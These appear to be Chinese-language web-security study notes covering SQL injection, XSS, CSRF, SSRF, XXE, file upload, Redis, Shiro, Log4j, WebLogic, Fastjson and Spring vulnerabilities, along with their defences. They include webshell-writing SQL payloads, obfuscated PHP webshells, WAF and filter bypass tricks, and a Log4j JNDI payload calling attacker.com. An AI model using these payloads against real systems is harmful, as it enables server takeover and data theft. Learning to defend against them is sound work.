## SQL注入

SQLmap注入webshell

Sqlmap --os-shell

1.select into outfile方法可用（允许导出文件）

2.需要知道网站所在的绝对路径

3.还要有足够的权限能够写入

4. root权限

### Sql写shell：

**outfile和dumpfile写shell**

条件：

1. 数据库当前用户为root权限；
2. 知道当前网站的绝对路径；
3. PHP的GPC为 off状态；(魔术引号，GET，POST，Cookie)
4. 写入的那个路径存在写入权限。

**基于UNION联合查询：**id=1 UNION ALL SELECT 1,'<?php phpinfo();?>',3 into outfile 'C:\info.php'%23

**非联合查询**

当我们无法使用联合查询时，我们可以使用fields terminated by与lines terminated by来写shell----?id=1 into outfile 'C:\info.php' FIELDS TERMINATED BY '<?php phpinfo();?>'%23

**基于日志写shell #**（ outfile被禁止，或者写入文件被拦截，没写权限 ，有root权限）

show variables like '%general%'; --查看配置，日志是否开启，和mysql默认log地址(记下原地址方便恢复)

set global general\_log = on; --开启日志监测，默认关闭(如果一直开文件会很大的)

set global general\_log\_file = '/var/www/html/info.php'; --设置日志路径

select '<?php phpinfo();?>'; --执行查询，写入shell

--SQL查询免杀shell

select "<?php $sl = create\_function('', @$\_REQUEST['klion']);$sl();?>";

SELECT "<?php $p = array('f'=>'a','pffff'=>'s','e'=>'fffff','lfaaaa'=>'r','nnnnn'=>'t');$a = array\_keys($p);$\_=$p['pffff'].$p['pffff'].$a[2];$\_= 'a'.$\_.'rt';$\_(base64\_decode($\_REQUEST['username']));?>";

---------------

--慢查询写shell

---------------

**慢查询补充**

只有当查询语句执行的时间要超过系统默认的时间时,该语句才会被记入进慢查询日志。

一般都是通过long\_query\_time选项来设置这个时间值，时间以秒为单位，可以精确到微秒。

如果查询时间超过了这个时间值（默认为10秒），这个查询语句将被记录到慢查询日志中

show global variables like '%long\_query\_time%' --查看服务器默认时间值

通常情况下执行sql语句时的执行时间一般不会超过10s，所以说这个日志文件应该是比较小的，而且默认也是禁用状态，不会引起管理员的察觉

拿到shell后上传一个新的shell，删掉原来shell，新shell做隐藏，这样shell可能还能活的时间长些

像这种东西还是比较适合那些集成环境,比如,appserv,xampp...因为权限全部都映射到同一个系统用户上了,如果是win平台,权限通常都比较高

**其它方法：通过构造联合查询语句得到网站管理员的账户和密码，然后扫后台登录后台，找上传点 GetShell**

### Sqlmap提权 --os-shell

存在sql注入漏洞，**利用--os-shell 从注入点获得一个交互式的 shell**

执行 --os-shell参数命令：

**数据库类型：**

Oracle数据库 DB2数据库

SQL Server数据库 PostgreSQL数据库

MySQL数据库 Sybase数据库

**SQL注入类型：**

a.从注入方式上看有联合查询注入、报错型注入、布尔型注入、延时注入、堆叠注入这些

b.从数据类型上有：字符型、数字型

c.从注入位置可以分为GET型、POST型、HTTP头部、cookie数据

**宽字节注入原理：**

在数据库设置mysql\_set\_charset(“gbk”)即使用GBK编码时，输入字符的ASCII码大于128（到达汉字的范围）会将这个字符以及后面的一个字符当作一个汉字去识别。在转义 ' 时，通常是将其转换为\'，url编码后为%5c%27，我们如果要绕过，就得把\过滤掉。常用的方法就是在%5c%27之前加%df，由于%df的ASCII码为223，数据库会将%df%5c当成一个汉字“連”，%27成功逃逸。（其中%df可以换成ASCII码大于128的字符）

特殊情况中，iconv()函数解析错误导致在编码转换时\被吃掉。

mysql在使用GBK编码的时候，会认为两个字符是一个汉字（前一个ascii码要大于128，才到汉字的范围）

php的魔术引号(magic\_quotes\_gpc)开启，会在特殊字符（比如 ' , " , \ , null）前面加 \ ，导致闭合失败。

**二次注入原理：**

用户向数据库里存入恶意的数据，在数据被插入到数据库之前，肯定会对数据库进行转义处理，但用户输入的数据的内容肯定是一点摸样也不会变的存进数据库里，而一般都默认为数据库里的信息都是安全的，查询的时候不会进行处理，所以当用户的恶意数据被web程序调用的时候就有可能出发SQL注入。即输入恶意的数据库查询语句时会被转义，但在数据库调用读取语句时又被还原导致语句执行。

**怎样防范sql注入？**

a.使用API，对输入的数据长度进行限制

b.关键字过滤，比如：select、insert、order

c.对参数携带的特殊字符进行转义和过滤

d.最好的还是PDO预编译：就是sql语句被数据库编译和优化后运行的语句以参数的形式进行查询，即使有敏感字符传递也会被参数化（PHP预处理）

e.建立白名单，使恶意SQL语句无效化

**Sql注入函数**

Group\_concat():将select的查询结果全部显示出来，占一个显示位

select version（）：查询MySQL版本

select user（）：查询数据库用户名

select database（）：查询数据库名

select @@datadir()：查询数据库的绝对路径

select @@version\_compile\_os:查询操作系统版本

select current\_user():查询当前用户

Order by: 找列的数量

Union select:联合查询（联合查询的条件是前一条语句查询不到且字段数与前一条语句的查询字段数一致）报错注入函数

报错函数：

都是选择某个特定条件，然后返回到数据库，如果符合条件就会按照你的特殊条件来显示

concat()函数：用于将多个字符串连接成一个字符串

floor(x) 函数：返回小于 x 的最大整数值

rand()函数调：用可以在0和1之间产生一个随机数

group by语句：根据一个或多个列对结果集进行分组

updatexml(目标xml文档，xml路径，更新的内容)：更新xml文档的函数，xpath\_expr： 需要更新的xml路径(Xpath格式)

new\_xml： 更新后的内容

此函数用来更新选定XML片段的内容，将XML标记的给定片段的单个部分替换为 xml\_target 新的XML片段 new\_xml ，然后返回更改的XML。xml\_target替换的部分 与xpath\_expr 用户提供的XPath表达式匹配。

extractvalue(目标xml文档，xml路径)：对XML文档进行查询的函数，一个XML标记片段 xml\_frag和一个XPath表达式 xpath\_expr（也称为 定位器）; 它返回CDATA第一个文本节点的text（），该节点是XPath表达式匹配的元素的子元素。第一个参数可以传入目标xml文档，第二个参数是用Xpath路径法表示的查找路径，第二个参数 xml中的位置是可操作的地方，xml文档中查找字符位置是用 /xxx/xxx/xxx/…这种格式，如果我们写入其他格式，就会报错，并且会返回我们写入的非法格式内容，而这个非法的内容就是我们想要查询的内容

substr()

ascii()

limit：限制显示个数（如：limit 0 2 表示从第一个开始显示两个）

延时注入函数：

Getlock：如果存在这个数据库，并且被占用，那么你去查就会排队，需要上一个用户完成操作或者解除数据库锁才可以，因为排队，所以变相的完成了数据库判断

heavyquery

**基本绕过方法**

1.大小写

2.双写

3.编码，如URLEncode编码，ASCII编码绕过

4.内敛注释

空格绕过

1. 用注释替换空格
2. select/**/user,password/**/from /\*\*/users;
3. 2.空格url编码%20
4. 3.两个空格代替一个空格
5. 4.用Tab代替空格
6. 5.%a0=空格
7. 6.如果空格被过滤，括号没有被过滤，可以用括号绕过
8. select(user())from dual where(1=1)and(2=2)
9. 7.回车

引号绕过使用十六[进制](https://so.csdn.net/so/search?q=%E8%BF%9B%E5%88%B6&spm=1001.2101.3001.7020) 宽字节注入

逗号绕过 使用join

**or and xor not绕过**

1. 利用符号替换and = && or=|| xor=| not=!
2. 2.在敏感词中添加注释：an/\*\*/d
3. 3.双写绕过oorr
4. 4.大小写变形
5. 5.编码

注释符绕过

1.id=1’ union select 1,2,3 or ‘1’=‘1 即虽然无法使用注释符，但是可以闭合掉他 或者：id=1’ union select 1,2,‘3

2.最后添加or 1’

3.最后添加 and ‘1’='1

等于号绕过

1.使用like

2.使用!<>,因为<>是不等于

3.regrep (正则表达匹配)

<>被过滤

1.greatest(),least()

2.strcmp(str1,str2),第一个参数小于第二个参数，返回-1，否则为1

3.in，between a and b

hex()、bin()==>ascii()

sleep()==>benchmark()

concat\_ws()==>group\_concat()

mid()、substr()==>substring()

@@user ==> user() @@datadir ==>datadir()

内联yyds

在一些被拦截的地方多用/\\*%23\\*/和/\\*!10440%0a\\*/，有奇效。

### xss

什么是xss？

XSS漏洞的原理是：插入语句、改变结果、操纵数据

本质是：用户输入的html语句直接输出，包括了使用不正确的方法去验证

挖掘XSS的第一步是找输入，也就是用户可以操控代码的位置；第二步是找输 出’也就是找到第一步用户输入的代码在网页的何处地方进行了输出；第三步: 构造payload,通过查看源代码，构建出payload。

攻击点

get、post、cookies、

反馈与浏览

富文本编辑器

各类标签插入和自定义

用户资料

关键词、标签、说明

文件上传

攻击途径：

1.对普通的用户输入页面原样输出

2.代码区有用户输入的内容

3.允许用户输入html标签的页面

4.保存数据并公开的区域,比如个人信息，可造成蠕虫感染

攻击模式区别：反射型的XSS的恶意脚本存在URL里，存储型XSS的恶意代码存在数据库里。而基于DOM型的XSS攻击中，取出和执行恶意代码由浏览器端完成，属 于前端JavaScript自身的安全漏洞，其他两种XSS都属于服务端的安全漏洞

XSS的绕过方法

1. 大小写转换；

2. 引号的使用；

3. 使用 / 代替空格；

4. 编码绕过(将字符进行十进制或者十六进制转码)；

5.双写绕过；

6.使用制表符 换行符和回车符

7.使用 IMG 源

怎样防范？

主要就是过滤输入和转义输出

1.比如说对用户提交的url、http头、post数据进行输入验证

2.输出的话，比如说对用户输出的内容使用标签，标签内的内容会直接显示

3.还有就是严格控制字符输入字数

4.或者在脚本执行的代码里杜绝掉用户输入

XSS攻击如何进行防护

1） 将HTML元素内容、属性以及URL请求参数、CSS值进行编码

2） 当编码影响业务时，使用白名单规则进行检测和过滤

3） 使用W3C提出的CSP （Content Security Policy,内容安全策略），定义域名白

名单

4）设置 Cookie 的 HttpOnly 属性

### csrf

csrf原理是什么？

跨站请求伪造，就是挟持了当前已经登录的用户程序去做用户非本意的操作，比如说在用户已经登录淘宝的情况下，用户去点开了另一个恶意链接，然后恶意链接就是请求修改用户淘宝密码的，这种情况就是跨站请求伪造

CSRF攻击一般怎么实现

1） 最容易实现的是Get请求，一般进入黑客网站后.可以通过设置img的src属 性来自动发起请求

2） 在黑客的网站中，构造隐藏表单来自动发起Post请求

3） 通过引诱链接诱惑用户点击触发请求，利用a标签的href

怎样防范csrf？

1.同源策略，检查referer字段，拒绝非本站的请求，但是要注意referer为空的情况，还有就是部分匹配的情况

2.另外一个检查token校验码，服务器生成的伪随机数发给用户，后台会拒绝掉错误的请求

3.针对实际情况,设置关键Cookie的SameSite属性为Strict或Lax

4.加入二次验证（独立的支付密码）

### Ssrf

服务器加载外部资源没对目的地址做过滤，只有有网址的地方都可能有ssrf。

常用协议有gopher（沟fe） dist file http https

初步的探测可以通过file协议读取本机文件，探测本机的网段。

Dist协议探测端口

怎么通过ssrf拿shell?

可以借助gopher协议探测内网的web服务sql注入，直接在url后面拼接内网的地址，后面加上sql注入语句就行。

修复:从根源入手(限制资源的地址)、禁用不必要的协议

位置

* **分享：通过URL地址分享网页内容**
* **转码服务**
* **在线翻译**
* **图片加载与下载：通过URL地址加载或下载图片**
* **图片、文章收藏功能**
* **未公开的api实现以及其他调用URL的功能**

SSRF漏洞的验证方法

因为SSRF漏洞是让服务器发送请求的安全漏洞，所以就可以通过抓包分析发送 的请求是否是由服务器所发送的，从而来判断是否存在SSRF漏洞；

在页面源码中查找访问的资源地址，如果该资源地址类型为

www.baidu.com/xxx.php?image=(地址)的就可能存在 SSRF 漏洞。

SSRF漏洞的成因、防御、绕过

成因：模拟服务器对其他服务器资源进行请求，没有做合法性验证。

利用：构造恶意内网IP做探测，或者使用其余所支持的协议对其余服务进行攻 击。

防御：禁止跳转，限制协议，内外网限制，URL限制。

绕过：使用不同协议，针对IP, IP格式的绕过，针对URL,恶意URL增添其他

字符，@之类的。301跳转+dns rebinddingo

### csrf、ssrf、xss区别？

不同：

xss：是对输入的数据没有足够的过滤，导致客端HTML页面出现恶意代码被执行

csrf：是对用户提交的随机校验和对http请求包内的refer字段校验不严

ssrf：对用户提供的url过于信任，没有做地址限制和更多的检测

.ssrf和csrf的原理以及区别？

a. SSRF和CSRF区别

ⅰ. SSRF针对服务器，CSRF针对用户

ⅱ. SSRF:让服务器发起针对内网的请求，CSRF欺骗用户点击恶意连接访问网站

ⅲ. SSRF防御需要限制内部网络的访问权限，CSRF需要采用Token进行防御

### Xxe

xxe原理是什么？

xml外部实体注入漏洞：注入是指xml数据在传输过程中被修改，导致服务器哦执行了恶意代码

外部实体：是指攻击者通过利用外部实体声明来对xml进行修改，插入恶意代码

xxe漏洞发生在应用程序解析xml输入时，没有禁止外部实体的加载，导致可加载恶意文件，造成文件读取、命令执行

等攻击

xxe漏洞触发点往往是：可以上传xml文件的位置、没有对上传的xml文件进行过滤、导致可以上传恶意的型命令、文件

怎样利用漏洞？

1.读取本地文件

2.读取php文件

3.无回显读取本地文件、内网主机、端口探测

4.ddos攻击

如何防范？

配置xml处理器使用禁用DTD、禁止外部实体解析

使用开发语言提供的禁用外部实体的办法

通过黑名单过滤用户提交的xml数据

不允许xml中含有任何自己声明的DTD

### 命令执行

PHP: system(), exec() , shell\_exec(), passthru(), pcntl\_exec(), popen()

JAVA: java.lang.Runtime.getRuntime(.exec(command)

Python: system(), popen(), subprocess.call(), spawn

代码执行，文件读取，命令执行的函数都有哪些

1)代码执行：

eval,preg\_replace+/e,assert,call\_user\_func,call\_user\_func\_array,create\_function

2)文件读取：

file\_get\_contents(),highlight\_file(),fopen(),readfile(),fread(),fgetss(),

fg ets(),parse\_i n i\_fil e(),show\_sou rce(),f i le()

3)命令执行：

System（）, exec(), shellexecQ, passthruQ ,pcntl\_exec(), popen(),proc\_open()

### 代码执行

eval()：把输入参数作为PHP代码执行，如： <?php @eval($\_GET['cmd']);?> 。

注意：eval() 函数传入的参数必须为PHP代码，即要以分号结尾。eval()函数是非常危险的， 因为

它允许执行任意 PHP 代码。

assert()：检查一个断言是否为 FALSE，如果参数是字符串，将会被 assert() 当做PHP 代码来执

行，如： <?php @assert($\_GET['cmd']);?> 。注意：assert()函数是直接讲传入的参数当成PHP

代码执行，不需要以分号结尾。而且，php版本<7时，assert被拼接之后依然可以执行代码，但

eval不行。

preg\_replace()，执行一个正则表达式的搜索和替换，参数格式为preg\_replace('正则规则','替换字

符串'，'目标字符')，如： preg\_replace('/input/e',$\_GET['cmd'],'hello input') 。修饰符

e ：首先对替换字符串执行eval()函数，使用执行结果作为实际参与替换的字符串。

call\_user\_func()，第一个参数 callback 是被调用的回调函数，其余参数是回调函数的参数，如：call\_user\_func($\_GET['func'],$\_GET['cmd'])

### 文件包含

include()、include\_once()、require() require\_once()。

远程文件包含：

allow\_url\_fopen=On（默认开启）并且allow\_url\_include=On（默认关闭），可在

\phpstudy\PHPTutorial\php\php-5.2.17\php.ini 中配置

### 文件上传

文件上传功能的检测点有哪些？

客户端的JS检测（主要检测文件名后缀）

服务端检测（MINE类型检测、文件后缀名、文件格式头）

文件上传绕过

一般在 F12 源代码中可以看到，校验的是文件后缀名。

服务端校验：

1）文件头 content-type 字段校验（image/jpeg）

2）文件内容头的校验。

3）后缀名黑名单校验。

4）后缀名白名单校验。

5）自定义正则校验。

waf设备检测

文件上传校验的绕过

客户端绕过

前端会检测后缀，可以先上传一个符合后缀的文件，再用 burp 抓包修改文件的内容以及后缀即可。

服务端绕过

1）文件类型绕过

用 burp 抓包，修改 content-type 字段为 image/jpeg 。

2）文件头绕过

在正常的一句话木马前面加上一些文件信息。 如 gif 的文件幻数：

3）文件后缀名绕过

服务端会对文件后缀进行黑名单校验。

则找黑名单扩展名的漏网之鱼：

4）配合操作系统文件命令规则

上传不符合 Windows 文件命名规则的文件名

5）配合其他规则

0x00截断：基于一个组合逻辑漏洞造成的，通常存在于构造上传文件路径的时候。test.php(0x00).jpg、test.php%00.jpg。

例如： 路径/upload/1.php(0x00)，文件名1.jpg，结合/upload/1.php(0x00)/1.jpg

6）配合文件包含漏洞

前提：校验规则只校验当文件后缀名为 asp/php/jsp 的文件内容是否为木马。 先上传一个内容为一句话木马的 .txt 文件，后缀正常未被检测并且上传成功；

再上传一个 .php 文件，内容为 <?php Include("刚刚上传的 .txt 文件路径"); ?>

此时，这个 php 文件就会去引用 txt 文件的内容，从而绕过校验。

防范措施

只要web容器无法解析该目录下面的文件，即使攻击者上传了脚本文件，服务器本身也不会受到影响，因此这一点至关重要。

严格判断文件类型

在判断文件类型时，可以结合使用MIME Type、后缀检查等方式。在文件类型检查中，强烈推荐白名单方式，黑名单的方式已经无数次被证明是不可靠的。此外，对于图片的处理，可以使用压缩函数或者resize函数，在处理图片的同时破坏图片中可能包含的HTML代码。

使用随机数修改文件名和文件路径

文件上传如果要执行代码，则需要用户能够访问到这个文件。在某些环境中，用户能上传，但不能访问。如果应用了随机数改写了文件名和路径，将极大地增加攻击的成本。再来就是像shell.php.rar.rar和crossdomain.xml这种文件，都将因为重命名而无法攻击。

单独设置文件服务器的域名

由于浏览器同源策略的关系，一系列客户端攻击将失效，比如上传crossdomain.xml、上传包含Javascript的XSS利用等问题将得到解决。

内容检测

有效防范图片马和文件二次渲染

安全加固中间件

及时更新并加固中间件，可以有效避免因为中间件的漏洞而导致的文件上传漏洞，比如某些中间件以前的版本很多都具有文件解析漏洞

采用WAF等安全防护设备

采用WAF等安全防护设备可以有效的防御常见漏洞

过waf

一. 检测文件扩展名

1. 寻找黑名单之外的扩展名

比如aspx被拦截，来个ashx就行了；jsp被拦截可以试试jspx、JSp等等。这个简单，无需赘述。

2. 构造畸形的数据包，“打乱”waf的检测

这个方法，又能细分出很多来，而且屡试不爽，这里总结下我个人常用的

(1) 删掉content-type

(2) 构造多个filename

(3) 把filename参数变畸形二. 检测文件内容

一般来说，waf也会检测文件内容。这个时候被检测往往是一些敏感的“关键词”，比如exec()、eval()这些函数。这个时候怎么办呢？

二. 检测文件内容

1. 图片马

“上古时期”经常用这个绕waf什么的，现在估计不太行了。

2. 文件包含

利用php远程文件包含或者java反射调用外部jar等等操作。可是有时候连带有文件包含功能的函数也会被检测。。。

3. 替换被检测的内容

这个是我用得比较多的方法。

比如java中Runtime.getRuntime().exec()经常被杀或者被拦截，这里可以通过调用ProcessBuilder类来实现相同的功能。fileOutputStream被拦截时 我可以用RandomAccessFile来替代

4. “曲线救国”

当我们没办法直接上传shell的时候，可以先上传一些小功能的脚本，比如写文件，cmdshell等等：

然后利用写文件或者cmdshell来写入shell，来达到我们的目的。

比如windows cmd下不换行输入来拆分eval：

又比如利用之前我们上传的写文件函数，一个字节一个字节的将shell写进去。

先将我们的冰歇shell.jsp拆开：然后利用之前绕过waf上传的写文件脚本：结合burp的intruder把冰歇马给写进去：

### Redis

未授权就是因为默认配置导致端口暴露到公网

未授权是默认配置密码为空

然后才能在未授权直接客户端可以连接

然后使用config参数写shell

攻击条件

1. 空密码并且允许外部直接连接
2. 使用 root 权限启动 redis
3. redis 在没有保护措施的情况下也没有修改默认端口

默认端口是6379，很容易被扫到

攻击利用的机制

redis的攻击主要是利用redis的持久化存储RDB或者AOF(默认不开启)，所谓持久化就是一种快照机制，用来后期恢复数据。比如RDB可以在一定的条件下将当前内存的数存储进一个dump.rdb文件中，如果下次想恢复这个数据的话，就需要将这个文件放在redis的快照保存目录下，替换当前的dump.rdb再次重启这样就能恢复原始的数据了

Ssrf探测内网redis：REmote DIctionary Server(Redis) 是一个由 Salvatore Sanfilippo 写的 key-value 存储

系统，是跨平台的非关系型数据库。Redis一般绑定在本地（不允许远程访问），默认不开启认证，默认

端口为6379。如果在没有开启认证的情况下，可以导致任意用户利用ssrf漏洞攻击内网中的未授权Redis

以及读取Redis的数据。使用 dict://127.0.0.1:6379 有返回信息，说明存在redis数据库：

### Shior

1.2.4 key是写在源码里的，找到key就能构造攻击链，1.2.4之后的775key是随机生成的，但我们还可以构造cookie，尝试构造攻击链。

Shiro流量特征:

返回包参数含有base64编码。

请求包cookie字段里的那个rememberme=字段会特别长，长的离谱**（同时也是攻击成功的判定条件）**

工具爆破判断：

一般会进行爆破，成功没有deleteme字段

爆破成功：比正常数据包大，Cookie RememberMe 字段的只作为猜测密钥的关键；当猜对时候，服务端响应中没有Set-cookie字段。“set-Cookie: rememberMe=deleteMe:”

是否成功要看密钥是否被爆破出来，爆破出来是没有deleteme这个字段的

Apache Shiro

Apache Shiro 1.2.4及以前版本中，加密的用户信息序列化后存储在名为remember-me的Cookie中，同时存在默认的AES密钥，并且对反序列化结果未作过滤处理。这时，攻击者可以使用Shiro的默认密钥伪造用户Cookie，注入恶意命令，触发Java反序列化漏洞，进而在目标机器上执行任意命令。所以我们Payload产生的过程：命令->序列化->AES加密->base64编码->RememberMe Cookie值

**550与721区别**

Shiro-550，只需输入url，即可完成自动化检测和漏洞利用。Shiro-721，需输入url，提供一个有效的rememberMe Cookie，并指定目标操作系统类型。721的加密方式有缺陷可以被爆破出密钥，其他漏洞利用方式和550一致

shiro721用到的加密方式是AES-CBC，而且其中的aes加密的key基本猜不到了，是系统随机生成的。而cookie解析过程跟550cookie的解析过程一样，也就意味着如果能伪造恶意的rememberMe字段的值且目标含有可利用的攻击链的话，还是能够进行RCE的。

### log4j

**流量特征：**

**X-Requested-With:s(S-js-n)s-djs-:$:-11S(-djs-a)sp)://eCv9Ze.4nbs3n.ceye.io/**

**流量中会出现jndi:ldap**

Log4j就是java的日志插件， 报文数据中有以下特点：

1. "enrollable"、"name"、"Level"、"pattern"、"lookup"、"appender"和"logger"等关键词。这些关键词在log4j的配置文件中经常出现，攻击者可以通过它们注入恶意代码并实现远程命令执行。
2. "java" 或 "javax"等字符串。这些字符串通常与Java类有关，攻击者可以通过从这些字符中注入可执行代码来利用漏洞。
3. 关注远程执行命令的一些代码，比如log4j2的远程执行命令：${jndi:ldap://xxx.xxx.xxx.xxx:1389/Ex} ，通过检索里面的关键单词进行查看。
4. 修复：升级 Log4j 到最新版本，根据业务判断是否关闭 lookup
5. 识别到这些关键词后，我们应该立即检查应用程序的log4j配置文件，查看是否存在配置文件中的问题或使用过时的log4j版本，立即升级到最新版本以解决漏洞。

**LOOKUP**：去指定下载文件的 url 在搜索框或者搜索的 url 里面，加上 ${jndi:ldap://127.0.0.1/test} ，log4j 会对这串代码进行表达式解析，给 lookup 传递一个恶意的参数指定，参数指的是比如 ldap 不存在的资源 $ 是会被直接执行的。后面再去指定下载文件的 url，去下载我们的恶意文件。比如是 x.class 下载完成后，并且会执行代码块

好在，log4j2已经帮我们把常见的查找途径都进行实现了：

有一个类似于字典的数据源，你可以通过JNDI接口，传一个name进去，就能获取到对象了

有一个类似于字典的数据源，你可以通过LDAP协议，传一个name进去，就能获取到数据。

**JNDI可以远程下载class文件来构建对象**如果远程下载的URL指向的是一个黑客的服务器，并且下载的class文件里面藏有恶意代码,造成JNDI注入攻击

**JNDI rmi**

**1.攻击者向漏洞服务器发起攻击请求。**

**（通过Log4j2记录攻击请求中，使用JNDI・LDAP加载恶意的代码${jndi:ldap://attacker.com/a}。 （attacker.com是攻击者控制的服务））**

**2.服务器通过JNDI向attacker.com请求 ，此时，恶意类会被加载触发**

**（黑客在自己的服务器上，构造LDAP服务，返回一个构造的恶意类）**

**3.attacker.com就可以在响应中添加一些、恶意的、可执的类，注入到服务器进程中。**

**（ 例如可执行的字节码http://attacker.com/Exploit.class ）**

**被攻击的服务器：响应恶意类，恶意类在服务器端执行**

**●jndi:ldap**

**log.error("${jndi:ldap://attacker.com/a}");**

**●jndi:rmi**

**log.error("${jndi:rmi://127.0.0.1:1099/xxxx}");**

### weblogic

**流量特征**

会出现特征关键词

crontab /dev/tcp/

提取的规则字段为：http\_client\_body ，提取的时候，这个关键字可以用hex来提取。

反序列化、SSRF任意文件上传（两大常见类型）

xml的反序列化漏洞，通过xmldecoder还是什么导致的xml解析代码执行。弱口令。

流量特征:不加密，常见的出网协议也可以用。有很多T3协议的特征，文件操作和冰蝎一样有fileoutstream字段。

weblogic里面其实反序列化漏洞利用中大致分为两种，一个是基于T3协议的反序列化漏洞，一个是基于XML的反序列化漏洞，基于T3协议的weblogic，依靠几个基于T3协议具有代表性的CVE： CVE-2015-4582、CVE-2016-0638、CVE-2016-3510、CVE-2018-2628、CVE-2020-2555、CVE-2020-2883，每个cve的思路大致都是基于几个漏洞的补丁进行的一个绕过

网上爆出weblogic的WLS组件存在xmldecoder反序列化漏洞，直接post构造的[xml](https://so.csdn.net/so/search?q=xml&spm=1001.2101.3001.7020)数据包即可rce。

Weblogic T3协议反序列化(CVE-2018-2628)漏洞

0x00 漏洞描述

Weblogic Server中的RMI 通信使用T3协议在Weblogic Server和其它Java程序（客户端或者其它Weblogic Server实例）之间传输数据, 服务器实例会跟踪连接到应用程序的每个Java虚拟机（JVM）中, 并创建T3协议通信连接, 将流量传输到Java虚拟机. T3协议在开放WebLogic控制台端口的应用上默认开启. 攻击者可以通过T3协议发送恶意的的反序列化数据, 进行反序列化, 实现对存在漏洞的weblogic组件的远程代码执行攻击。

T3协议请求包总是以

这里我们可以发现都是ac ed 00 05开头

[(76条消息) weblogic反序列化之T3协议(CVE-2015-4582)\_weblogic t3协议\_Ys3ter的博客-CSDN博客](https://blog.csdn.net/weixin_54648419/article/details/124734921)

Weblogic(CVE-2019-2725)漏洞

0x00 漏洞描述

该漏洞存在于wls9-async组件，该组件为异步通讯服务，攻击者可以在/\_async/AsyncResponseService路径下传入恶意的xml格式的数据，传入的数据在服务器端反序列化时，执行其中的恶意代码，实现远程命令执行，攻击者可以进而获得整台服务器的权限。

### 未授权访问

**redis未授权：6379**

原理：redis使用了默认配置，使端口绑定在了0.0.0.0:6379并且暴露在公网的话此时我们任意一台带有redis-cli的机器就可以直接访问，跳过登陆验证，从而可以写shell，写入shell的话使用config参数

### Fastjson

流量特征：

开发者工具，查看请求代码是否存在"com.alibaba.fastjson或者fastjson

两种打法

**第一种 解析JSON的时候需要使用Feature才能触发 然后利用poc构建**

**第二种需要搭建环境 部署在tomcat环境**

原理是是jdni注入 利用就是构造一个json字符，用@type指定一个类库，流量特征就是json autotype

漏洞利用fastjson autotype在处理json对象的时候，未对@type字段进行完全的安全性验证，攻击者可以传入危险类，并调用危险类连接远程rmi主机，通过其中的恶意类执行代码。攻击者通过这种方式可以实现远程代码执行漏洞的利用，获取服务器的敏感信息泄露，甚至可以利用此漏洞进一步对服务器数据进行修改，增加，删除等操作，对服务器造成巨大影响

fastjson的功能就是将json格式转换为类、字符串等供下一步代码的调用，或者将类、字符串等数据转换成json数据进行传输，有点类似序列化的操作

|  |  |
| --- | --- |
| JSON.toJSONString(Object) | 将对象序列化成json格式 |
| JSON.toJSONString(Object,SerializerFeature.WriteClassName) | 将对象序列化成json格式，并且记录了对象所属的类的信息 |
| JSON.parse(Json) | 将json格式返回为对象(但是反序列化类对象没有@Type时会报错) |
| JSON.parseObject(Json) | 返回对象是com.alibaba.fastjson.JSONObject类 |
| JSON.parseObject(Json, Object.class) | 返回对象会根据json中的@Type来决定 |
| JSON.parseObject(Json, User.class, Feature.SupportNonPublicField); | 会把Json数据对应的类中的私有成员也给还原 |

*几种伪协议*的解释：

ⅰ. JNDI伪协议：将一个Java对象绑定到一个JNDI上下文中，攻击者 可以通过构造恶意的JSON字符串绑定一个恶意对象到JNDI上下文中，从而在反序列化时进行远程代码。

ⅱ. Idap伪协议：将一个Java对象绑定在Idap目录中，攻击者可以通过构造恶意的JSON字符串，绑定一个恶意对象到LDAP目录中，从而执行反序列化代码。

ⅲ. Rmi伪协议：该协议通过远程调用Java Rmi服务，攻击者 可以通过 构造Json字符串，调用一个恶意的RMI服务，从而在反序列化中执行远程代码。

b. 上述三种协议了解即可，fastjson使用了Rmi和Idap协议

c. 调用的是JSON.parseObject(json,User.class)函数

d. 原理：一个反序列化漏洞，在进行反序列化时，会自动将JSON数据转换为对应的Java对象。攻击者可以构造特定的JSON数据，使得Fastjson在解析时调用恶意的构造函数来执行恶意代码。

e. 预防:不要从不可信的数据源中获取JSON数据或者升级到最高版本可以预防

### spring框架：

Shiro 默认使用了 CookieRememberMeManager，其处理 cookie 的流程是：得到 rememberMe 的 cookie 值–>Base64 解码–>AES 解密–> 反序列化。然而 AES 的密钥是硬编码的，密钥泄漏的根本原因是开发人员在开发过程中部分代码直接使用了网上的一些开源的项目代码，就导致了攻击者可以构造恶意数据造成反序列化的 RCE 漏洞。

### Spring rce

1. ClassLoader

就是类加载器，ClassLoader的具体作用就是将class文件加载到jvm虚拟机中去，程序便可以运行

2. 漏洞**利用的条件**

Web 应用程序是基于 Spring Framework 构建的（例如 Spring Boot）

Web 应用程序在 JDK 9 或任何更高版本

Web 应用程序使用数据绑定将请求参数绑定到 Java 对象

3. 漏洞利用的两个阶段

2.1 覆盖 Tomcat 特定的ClassLoader属性，将访问日志文件路径更改为 web 根目录下的某个位置，并将日志模式（写入的数据）更改为包含 webshell 代码的常量模式。这会导致 JSP\_webshell被放到web 根目录下

2.2 向写入的 webshell发送查询请求，以执行任意 shell 命令

4.参数绑定

将URL中的的请求参数，进行类型转换（String或其他类型），将转换后的值在赋值给Controller方法形参中，然后Controller就可以直接使用该形参

4.2 参数绑定简介

这种机制从请求 URL 或请求正文中获取参数，并将它们分配给函数参数，或者在某些情况下分配给Java 对象

4.3 潜在的危险

将请求参数分配给 Java 对象时，存在一定的安全风险，因为构建对象的某些"内部"参数在外部可以控制，这包括Class、ClassLoader和ProtectionDomain参数

4.4 Java9新特性

从 Java 9 开始，由于引入了新的 API ( class.getModule )，可以绕过 Spring 的保护并直接为ClassLoader的属性分配任意值

5. 漏洞产生的关键点

数据绑定将请求参数绑定到 Java 对象

由于漏洞存在于 Spring 的数据绑定机制中，因此只有尝试将请求参数绑定到 POJO（Plain Old Java Objects）的 Web 应用程序易受攻击

### 序列化反序列化

序列化就是把对象转换成字节流，便于保存在内存、文件、数据库中,反序列化即逆过程，由字节流还原成对象

*Java序列化* Java中的ObjectOutputStream类的writeObject()方法可以实现序列化，

WebLogic、WebSphere、JBoss、Jenkins、OpenNMS这些应用的**反序列化**漏洞

ObjectInputStream类的readObject()方法用于反序列化。

在java读取完字节流后，会判断是否存在用户自定义的“readObject”方法，如果存在的话，就优先使用udf。所以，如果存在一个自定义了“readObject”方法的对象，而这个方法是危险的，比如说执行系统命令，就会导致反序列化后形成威胁。

怎样防范？

需要在objectinputstream类反序列化时，对生成的对象类型做限制，比如说设置白名单

挖矿病毒排查处置

*PHP反序列化*

PHP反序列化的时候，基本都是围绕着serialize()，unserialize()这两个函数

二进制格式

字节数组

json字符串

xml字符串

布尔型（bool）：b

整数型（int）：i

